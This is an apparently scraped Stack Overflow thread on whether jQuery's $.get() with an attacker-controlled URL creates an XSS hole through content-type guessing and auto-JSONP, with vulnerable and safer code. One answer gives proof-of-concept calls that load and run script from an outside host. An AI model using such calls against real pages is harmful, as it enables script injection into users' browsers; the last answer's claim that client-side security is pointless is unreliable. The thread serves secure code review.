Is jQuery's $.get() safe to call on an untrust

2019-04-18 12:25发布

问题:

I recently learned that jQuery's $.getJSON() is not safe to call on an untrusted URL. What about $.get()? Is jQuery's $.get() safe to call when the URL parameter comes from an untrusted source, or is this insecure?

This came up in a security code review I was doing, to check for XSS vulnerabilities. Example code pattern:

$.get(url, function (...) { ... })

Does this code pattern create a XSS vulnerability, if an attacker chooses url maliciously?

Please assume that the function will handle the response from the AJAX request safely, and that url comes from an untrusted source (e.g., some other user) and can be completely controlled by the adversary.

My concern: if url is chosen by an attacker, can an attacker choose a malicious URL (e.g., containing callback=? and pointing to their own site, or something clever like that) that causes jQuery to guess that the data type should be JSONP, enable JSONP, insert a script tag into the document, and introduce a XSS vulnerability in the same way that getJSON() does? (Since I'm not passing an explicit dataType argument to $.get(), jQuery will guess the data type, as described in the docs. I'm not sure what the security implications of that are.)

I ran across this code pattern in code review, and I'm trying to understand whether it is a potential vulnerability. I'm not looking for alternative ways this code could be written; instead, I want to know whether this kind of code pattern is secure as is.


Since the threat model is a bit tricky, let me give an example to help understand this better. Suppose Bob is a user of the service and he can provide a URL that's associated with his profile. Suppose that when Alice visits Bob's profile page in her browser, the Javascript code on the page takes the URL that Bob provided and passes it as an argument to $.get(). The question is, is this safe? Could Bob use this to attack Alice? Could Bob trigger Alice's browser to execute arbitrary Javascript code, with all of Alice's power? As the linked question explains, $.getJSON() is unsafe in this scenario -- but what about $.get()? Is it unsafe too, or is it safe?


Since I got some requests for clarification, let me try explaining/asking the question a different way. Suppose I'm doing a code review to check whether some Javascript code contains any XSS vulnerabilities, and I see the following line of code:

$.get(url, function(resp) { /* do nothing */ });

Suppose I know that url can be completely controlled by the attacker. Is this automatically a XSS vulnerability? Or is this always safe? Or if the answer is "it depends", what does it depend on?

Or, yet another way to think about this. Suppose I'm doing a code review and I see the following line of code:

$.get(url, f);

Suppose I know that url can be completely controlled by the attacker. What do I need to check, to verify whether this is safe (free of XSS bugs)? I am aware that I need to check the code of f to see whether it handles the response safely, because if f is careless it could introduce a XSS bug. My question is: is that the only thing I need to check for? Or is this code pattern always an XSS vulnerability, regardless of how f is coded?

回答1:

 Does this code pattern create a XSS vulnerability, if an attacker chooses url maliciously?

Edit: yes, but not for the reason in your question.

The weird auto-JSONP feature is internally applied to AJAX requests using ajaxPrefilter("json jsonp"). So it applies to the json prefilter list but not other types or the default *. However, prefilters apply before the response occurs, so this can't happen just because the server replies with a JSON-like type.

(Currently—as of 1.11.2—the docs for getJSON don't describe the circumstances under which this potentially-dangerous behaviour fires exactly. And the docs for get and ajax don't mention auto-JSONP at all. So maybe it should be considered a bug. Certainly given how poorly-specified this is, I would not rely on it staying the same in future versions of jQuery.)

The actual reason it's vulnerable (as demonstrated by framp and toothbrush) is that without a dataType parameter jQuery will guess one from the response. If the attacker's URL hits a resource served as a JS-like Content-Type, jQuery will guess it is JavaScript and eval it. Note: for the AJAX request to get far enough for this to work, for a resource on a third-party server, it would have to include CORS headers.

$.get(url, function (...) { ... }, 'json');

This version is not vulnerable to the response type guessing. However, it is vulnerable to the auto-JSONP filter.

To be safe, you have to both set the dataType option and, if that option is json, also the jsonp: false option. Unfortunately, you can't set the jsonp option in the get() method. You should be able to do it by passing in an options dictionary instead of parameters, but you can't because this API is currently completely non-functional due to jQuery being a sad mess of broken Do-What-I-Mean APIs whose behaviour it is (increasingly) difficult to predict.

So the only safe way to fetch JSON from an untrusted URL is via basic ajax:

$.ajax(url, {dataType: 'json', jsonp: false});


回答2:

jQuery.get does pose an XSS security risk.

If you look at the source for jQuery (or the documentation for jQuery.get), you will see that jQuery.get and jQuery.post are just wrappers for jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });.

There are two problems here:

  1. If dataType is jsonp, or the URL ends in =? and dataType is json, jQuery will try to make a JSONP request and then eval the script.
  2. If the response is a script, jQuery will execute that script unless dataType is json and the jsonp option is set to false.

So if you set dataType to json, and jsonp to false, it is safe to call jQuery.get for an unknown URL.

Vulnerable script

$.get(url, function(...) { ... });

See the example on JSFiddle.

Safe script

$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });

See the example on JSFiddle.



回答3:

It depends.

TL;DR Yes, it's unsafe in certain cases.

If:

  • You're not using Content Security Policy to filter outwards request (caniuse)
  • The client browser support CORS (caniuse)
  • The attacker can choose the URL

Then the attacker can execute JS on your page.

A malicious server with a matching protocol, the right CORS headers (Access-Control-Allow-Origin: *) will be able to execute JS on your page thanks to jQuery automatic detection from the Content-Type header (which for JS will be script).

Example you can try on this page on stackoverflow (assuming you're on http):

$.get('http://zensuite.net/js/alert.js', console.log.bind(console));

If you want to see what happens if the CORS headers are not set:

$.get('https://zensuite.net/js/alert.js', console.log.bind(console));

Talking about your hypothesis instead, you won't likely manage to make jQuery transform a normal XHR request into a remote inclusion of a script.

After looking briefly at the code I think this won't likely happen (unless there is a bug somewhere), because you can switch to "remote script mode" only before asking for a transport and if your dataType is

  • json when the URL match the rjsonp regex /(=)\?(?=&|$)|\?\?/;
  • jsonp
  • script

These are also vulnerable:

$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');

This is of course not relevant for the question, given the fact you can just use $.get to execute remote code.



回答4:

That is a good point. But how about forcing the data-type format to ensure it won't be used as JSONP

$.ajax({
    url: url,
    data: data,
    success: success,
    dataType: dataType  // force text/plain 
});

The acutal $.getJSON() is used for convenience when we want to speed up on parsing, so if you are really aware of security use customised $.ajax() calls.

More info: http://api.jquery.com/jquery.ajax/



回答5:

You know, that hacker could simply open the dev console and write any $.get he wants, he doesn't even have to change your url variable. In fact, he can run absolutely any code he wants, as long as it doesn't interfer with the same domain policy. The whole point of client side security is make sure the guy could only hack himself.

So no need to try to secure anything client side, the idea is you cannot trust anything that comes from the browser, so you should always check the data received in your server, and allow minimal interfacing between the two (know your parameters, their types, etc).